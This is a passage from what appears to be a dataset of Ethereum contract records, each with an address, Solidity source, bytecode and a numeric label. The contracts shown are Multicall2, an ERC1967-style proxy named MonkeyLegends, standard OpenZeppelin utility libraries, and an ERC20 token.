901831617909255898616808652838620805493841693831660019081018416949094179055898652600490945282852080546001600160e01b031916909417600160a01b4290921691909102178355870180845292208054919390911661138657600054821461138657805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03166000805160206121af83398151915260405160405180910390a45b5050505050565b60006113cb83611573565b80519091508215611431576000336001600160a01b03831614806113f457506113f4823361064d565b8061140f5750336114048661077f565b6001600160a01b0316145b90508061142f57604051632ce44b5f60e11b815260040160405180910390fd5b505b61143d60008583611188565b6001600160a01b0380821660008181526005602090815260408083208054600160801b6000196001600160401b0380841691909101811667ffffffffffffffff198416811783900482166001908101831690930277ffffffffffffffff0000000000000000ffffffffffffffff19909416179290921783558b86526004909452828520805460ff60e01b1942909316600160a01b026001600160e01b03199091169097179690961716600160e01b17855591890180845292208054919490911661153b57600054821461153b57805460208701516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038716171781555b5050604051869250600091506001600160a01b038416906000805160206121af833981519152908390a4505060018054810190555050565b604080516060810182526000808252602082018190529181019190915281806001111580156115a3575060005481105b1561168157600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff1615159181018290529061167f5780516001600160a01b031615611616579392505050565b5060001901600081815260046020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff161515928101929092521561167a579392505050565b611616565b505b604051636f96cda160e11b815260040160405180910390fd5b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61097982826118fa565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a029061172b9033908990889088906004016120ff565b602060405180830381600087803b15801561174557600080fd5b505af1925050508015611775575060408051601f3d908101601f191682019092526117729181019061213c565b60015b6117d0573d8080156117a3576040519150601f19603f3d011682016040523d82523d6000602084013e6117a8565b606091505b5080516117c8576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b6060600980546106fc90611fe2565b6060816118215750506040805180820190915260018152600360fc1b602082015290565b8160005b811561184b57806118358161207e565b91506118449050600a8361216f565b9150611825565b6000816001600160401b0381111561186557611865611c90565b6040519080825280601f01601f19166020018201604052801561188f576020820181803683370190505b5090505b84156117e6576118a4600183612183565b91506118b1600a8661219a565b6118bc906030612099565b60f81b8183815181106118d1576118d1612052565b60200101906001600160f81b031916908160001a9053506118f3600a8661216f565b9450611893565b61097982826040518060200160405280600081525061084c83838360016000546001600160a01b03851661194057604051622e076360e81b815260040160405180910390fd5b8361195e5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260056020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c018116918217600160401b67ffffffffffffffff1990941690921783900481168c01811690920217909155858452600490925290912080546001600160e01b031916909217600160a01b429092169190910217905580808501838015611a0a57506001600160a01b0387163b15155b15611a81575b60405182906001600160a01b038916906000906000805160206121af833981519152908290a4611a4960008884806001019550886116f6565b611a66576040516368d2bf6b60e11b815260040160405180910390fd5b80821415611a10578260005414611a7c57600080fd5b611ab5565b5b6040516001830192906001600160a01b038916906000906000805160206121af833981519152908290a480821415611a82575b506000556113b9565b828054611aca90611fe2565b90600052602060002090601f016020900481019282611aec5760008555611b32565b82601f10611b0557805160ff1916838001178555611b32565b82800160010185558215611b32579182015b82811115611b32578251825591602001919060010190611b17565b50611b3e929150611b42565b5090565b5b80821115611b3e5760008155600101611b43565b6001600160e01b0319811681146108e457600080fd5b600060208284031215611b7f57600080fd5b8135610f8081611b57565b60005b83811015611ba5578181015183820152602001611b8d565b83811115610e785750506000910152565b60008151808452611bce816020860160208601611b8a565b601f01601f19169290920160200192915050565b602081526000610f806020830184611bb6565b600060208284031215611c0757600080fd5b5035919050565b80356001600160a01b0381168114611c2557600080fd5b919050565b60008060408385031215611c3d57600080fd5b611c4683611c0e565b946020939093013593505050565b600080600060608486031215611c6957600080fd5b611c7284611c0e565b9250611c8060208501611c0e565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b0381118282101715611cce57611cce611c90565b604052919050565b60006001600160401b03831115611cef57611cef611c90565b611d02601f8401601f1916602001611ca6565b9050828152838383011115611d1657600080fd5b828260208301376000602084830101529392505050565b600060208284031215611d3f57600080fd5b81356001600160401b03811115611d5557600080fd5b8201601f81018413611d6657600080fd5b6117e684823560208401611cd6565b600060208284031215611d8757600080fd5b610f8082611c0e565b60006001600160401b03821115611da957611da9611c90565b5060051b60200190565b60006020808385031215611dc657600080fd5b82356001600160401b03811115611ddc57600080fd5b8301601f81018513611ded57600080fd5b8035611e00611dfb82611d90565b611ca6565b81815260059190911b82018301908381019087831115611e1f57600080fd5b928401925b82841015611e4457611e3584611c0e565b82529284019290840190611e24565b979650505050505050565b60008060408385031215611e6257600080fd5b611e6b83611c0e565b915060208301358015158114611e8057600080fd5b809150509250929050565b60008060008060808587031215611ea157600080fd5b611eaa85611c0e565b9350611eb860208601611c0e565b92506040850135915060608501356001600160401b03811115611eda57600080fd5b8501601f81018713611eeb57600080fd5b611efa87823560208401611cd6565b91505092959194509250565b600060208284031215611f1857600080fd5b813561ffff81168114610f8057600080fd5b60006020808385031215611f3d57600080fd5b82356001600160401b03811115611f5357600080fd5b8301601f81018513611f6457600080fd5b8035611f72611dfb82611d90565b81815260059190911b82018301908381019087831115611f9157600080fd5b928401925b82841015611e4457833582529284019290840190611f96565b60008060408385031215611fc257600080fd5b611fcb83611c0e565b9150611fd960208401611c0e565b90509250929050565b600181811c90821680611ff657607f821691505b6020821081141561201757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561209257612092612068565b5060010190565b600082198211156120ac576120ac612068565b500190565b60008160001904831182151516156120cb576120cb612068565b500290565b600083516120e2818460208801611b8a565b8351908301906120f6818360208801611b8a565b01949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061213290830184611bb6565b9695505050505050565b60006020828403121561214e57600080fd5b8151610f8081611b57565b634e487b7160e01b600052601260045260246000fd5b60008261217e5761217e612159565b500490565b60008282101561219557612195612068565b500390565b6000826121a9576121a9612159565b50069056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203160c79f8ab29092c3bda4f462426b352778d2faadcf64655e1892d4c9fff1ad64736f6c63430008090033
[ 7, 5 ]
0xf26cD5d9a7248e51Ef95e181354DaC19641E8469
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; pragma experimental ABIEncoderV2; /// @title Multicall2 - Aggregate results from multiple read-only function calls /// @author Michael Elliot <[email protected]> /// @author Joshua Levine <[email protected]> /// @author Nick Johnson <[email protected]> contract Multicall2 { struct Call { address target; bytes callData; } struct Result { bool success; bytes returnData; } function aggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes[] memory returnData) { blockNumber = block.number; returnData = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData); require(success, 'Multicall aggregate: call failed'); returnData[i] = ret; } } function blockAndAggregate(Call[] memory calls) public returns ( uint256 blockNumber, bytes32 blockHash, Result[] memory returnData ) { (blockNumber, blockHash, returnData) = tryBlockAndAggregate(true, calls); } function getBlockHash(uint256 blockNumber) public view returns (bytes32 blockHash) { blockHash = blockhash(blockNumber); } function getBlockNumber() public view returns (uint256 blockNumber) { blockNumber = block.number; } function getCurrentBlockCoinbase() public view returns (address coinbase) { coinbase = block.coinbase; } function getCurrentBlockDifficulty() public view returns (uint256 difficulty) { difficulty = block.difficulty; } function getCurrentBlockGasLimit() public view returns (uint256 gaslimit) { gaslimit = block.gaslimit; } function getCurrentBlockTimestamp() public view returns (uint256 timestamp) { timestamp = block.timestamp; } function getEthBalance(address addr) public view returns (uint256 balance) { balance = addr.balance; } function getLastBlockHash() public view returns (bytes32 blockHash) { blockHash = blockhash(block.number - 1); } function tryAggregate(bool requireSuccess, Call[] memory calls) public returns (Result[] memory returnData) { returnData = new Result[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData); if (requireSuccess) { require(success, 'Multicall2 aggregate: call failed'); } returnData[i] = Result(success, ret); } } function tryBlockAndAggregate(bool requireSuccess, Call[] memory calls) public returns ( uint256 blockNumber, bytes32 blockHash, Result[] memory returnData ) { blockNumber = block.number; blockHash = blockhash(block.number); returnData = tryAggregate(requireSuccess, calls); } }
0x608060405234801561001057600080fd5b50600436106100a45760003560e01c80630f28c97d146100a9578063252dba42146100be57806327e86d6e146100df578063399542e9146100e757806342cbb15c146101095780634d2301cc1461010f57806372425d9d1461012a57806386d516e814610130578063a8b0574e14610136578063bce38bd714610144578063c3077fa914610164578063ee82ac5e14610177575b600080fd5b425b6040519081526020015b60405180910390f35b6100d16100cc36600461070a565b610189565b6040516100b5929190610875565b6100ab610348565b6100fa6100f5366004610744565b61035b565b6040516100b5939291906108de565b436100ab565b6100ab61011d3660046106e9565b6001600160a01b03163190565b446100ab565b456100ab565b6040514181526020016100b5565b610157610152366004610744565b610373565b6040516100b59190610862565b6100fa61017236600461070a565b610564565b6100ab610185366004610795565b4090565b805143906060906001600160401b038111156101b557634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156101e857816020015b60608152602001906001900390816101d35790505b50905060005b83518110156103425760008085838151811061021a57634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516001600160a01b031686848151811061024f57634e487b7160e01b600052603260045260246000fd5b6020026020010151602001516040516102689190610846565b6000604051808303816000865af19150503d80600081146102a5576040519150601f19603f3d011682016040523d82523d6000602084013e6102aa565b606091505b5091509150816103015760405162461bcd60e51b815260206004820181905260248201527f4d756c746963616c6c206167677265676174653a2063616c6c206661696c656460448201526064015b60405180910390fd5b8084848151811061032257634e487b7160e01b600052603260045260246000fd5b60200260200101819052505050808061033a906109a5565b9150506101ee565b50915091565b600061035560014361095e565b40905090565b438040606061036a8585610373565b90509250925092565b606081516001600160401b0381111561039c57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156103e257816020015b6040805180820190915260008152606060208201528152602001906001900390816103ba5790505b50905060005b825181101561055d5760008084838151811061041457634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516001600160a01b031685848151811061044957634e487b7160e01b600052603260045260246000fd5b6020026020010151602001516040516104629190610846565b6000604051808303816000865af19150503d806000811461049f576040519150601f19603f3d011682016040523d82523d6000602084013e6104a4565b606091505b5091509150851561050657816105065760405162461bcd60e51b815260206004820152602160248201527f4d756c746963616c6c32206167677265676174653a2063616c6c206661696c656044820152601960fa1b60648201526084016102f8565b604051806040016040528083151581526020018281525084848151811061053d57634e487b7160e01b600052603260045260246000fd5b602002602001018190525050508080610555906109a5565b9150506103e8565b5092915050565b600080606061057460018561035b565b9196909550909350915050565b80356001600160a01b038116811461059857600080fd5b919050565b600082601f8301126105ad578081fd5b813560206001600160401b03808311156105c9576105c96109d6565b8260051b6105d883820161092e565b8481528381019087850183890186018a10156105f2578788fd5b8793505b8684101561062f5780358581111561060c578889fd5b61061a8b88838d010161063c565b845250600193909301929185019185016105f6565b5098975050505050505050565b60006040828403121561064d578081fd5b610655610906565b905061066082610581565b81526020808301356001600160401b038082111561067d57600080fd5b818501915085601f83011261069157600080fd5b8135818111156106a3576106a36109d6565b6106b5601f8201601f1916850161092e565b915080825286848285010111156106cb57600080fd5b80848401858401376000908201840152918301919091525092915050565b6000602082840312156106fa578081fd5b61070382610581565b9392505050565b60006020828403121561071b578081fd5b81356001600160401b03811115610730578182fd5b61073c8482850161059d565b949350505050565b60008060408385031215610756578081fd5b82358015158114610765578182fd5b915060208301356001600160401b0381111561077f578182fd5b61078b8582860161059d565b9150509250929050565b6000602082840312156107a6578081fd5b5035919050565b600082825180855260208086019550808260051b840101818601855b8481101561080d57858303601f19018952815180511515845284015160408585018190526107f98186018361081a565b9a86019a94505050908301906001016107c9565b5090979650505050505050565b60008151808452610832816020860160208601610975565b601f01601f19169290920160200192915050565b60008251610858818460208701610975565b9190910192915050565b60208152600061070360208301846107ad565b600060408201848352602060408185015281855180845260608601915060608160051b8701019350828701855b828110156108d057605f198887030184526108be86835161081a565b955092840192908401906001016108a2565b509398975050505050505050565b8381528260208201526060604082015260006108fd60608301846107ad565b95945050505050565b604080519081016001600160401b0381118282101715610928576109286109d6565b60405290565b604051601f8201601f191681016001600160401b0381118282101715610956576109566109d6565b604052919050565b600082821015610970576109706109c0565b500390565b60005b83811015610990578181015183820152602001610978565b8381111561099f576000848401525b50505050565b60006000198214156109b9576109b96109c0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212206b5c3c37bb1d6662d8b8118806c0ffa416799d7b0d768cb952397162d268edc664736f6c63430008040033
[ 38 ]
0xf26cd89fb745d7c222841da514d3fb66c5ea821b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // 888b d888 888 888 888 // 8888b d8888 888 888 888 // 88888b.d88888 888 888 888 // 888Y88888P888 .d88b. 88888b. 888 888 .d88b. 888 888 888 .d88b. .d88b. .d88b. 88888b. .d88888 .d8888b // 888 Y888P 888 d88""88b 888 "88b 888 .88P d8P Y8b 888 888 888 d8P Y8b d88P"88b d8P Y8b 888 "88b d88" 888 88K // 888 Y8P 888 888 888 888 888 888888K 88888888 888 888 888 88888888 888 888 88888888 888 888 888 888 "Y8888b. // 888 " 888 Y88..88P 888 888 888 "88b Y8b. Y88b 888 888 Y8b. Y88b 888 Y8b. 888 888 Y88b 888 X88 // 888 888 "Y88P" 888 888 888 888 "Y8888 "Y88888 88888888 "Y8888 "Y88888 "Y8888 888 888 "Y88888 88888P' // 888 888 // Y8b d88P Y8b d88P // "Y88P" "Y88P" import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract MonkeyLegends{ //MonkeyLegends bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f259e7b70c79dec9f05d9b06e5f7228084d50e6372760535482a23fc8d8af5cb64736f6c63430008070033
[ 5 ]
0xf26ce4da9ee49c904a2670ecdcb63f7146049758
/** *Submitted for verification at Etherscan.io on 2021-04-23 */ pragma solidity 0.5.17; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for 